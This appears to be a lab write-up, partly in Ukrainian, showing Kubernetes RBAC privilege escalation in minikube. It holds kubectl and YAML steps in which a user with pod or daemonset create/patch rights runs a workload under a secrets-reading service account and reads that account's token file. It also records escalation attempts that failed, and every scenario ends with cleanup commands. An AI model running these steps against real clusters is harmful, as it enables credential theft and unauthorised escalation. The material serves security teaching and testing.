Kubernetes Roles Abuse Lab

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You can run these labs just inside minikube.

Pod Creation -> Escalate to ns SAs

We are going to create:

• A Service account "test-sa" with a cluster privilege to read secrets

• A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created

• Permissions to list and create pods to a user called "Test" will be given

• A Role "test-r" and RoleBinding "test-rb" will be created

• Then we will confirm that the SA can list secrets and that the user Test can list a pods

• Finally we will impersonate the user Test to create a pod that includes the SA test-sa and steal the service account token.

• This is the way yo show the user could escalate privileges this way

To create the scenario an admin account is used. Moreover, to exfiltrate the sa token in this example the admin account is used to exec inside the created pod. However, as explained here, the declaration of the pod could contain the exfiltration of the token, so the "exec" privilege is not necesario to exfiltrate the token, the "create" permission is enough.

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Створити Daemonset

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch Daemonset

У цьому випадку ми будемо патрити демонсет, щоб його под завантажував наш бажаний обліковий запис служби.

Якщо у вашого користувача є дія update замість patch, це не спрацює.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Не працює

Створити/Змінити Прив'язки

Не працює:

• Створити нову RoleBinding лише з дієсловом create

• Створити нову RoleBinding лише з дієсловом patch (вам потрібно мати дозволи на прив'язку)

• Ви не можете це зробити, щоб призначити роль собі або іншому SA

• Змінити нову RoleBinding лише з дієсловом patch (вам потрібно мати дозволи на прив'язку)

• Ви не можете це зробити, щоб призначити роль собі або іншому SA

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bind explicitly Bindings

У розділі "Запобігання ескалації привілеїв та початкове налаштування" на https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ згадується, що якщо SA може створити Binding і має явні права Bind над Role/Cluster role, він може створювати прив'язки, навіть використовуючи Roles/ClusterRoles з правами, яких у нього немає. Однак, це не спрацювало для мене:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa

# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Створення довільних ролей

У цьому прикладі ми намагаємося створити роль, яка має дозволи на створення та доступ до ресурсів ролей. Однак K8s заважає нам створити роль з більшими дозволами, ніж має принципал, що створює:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa

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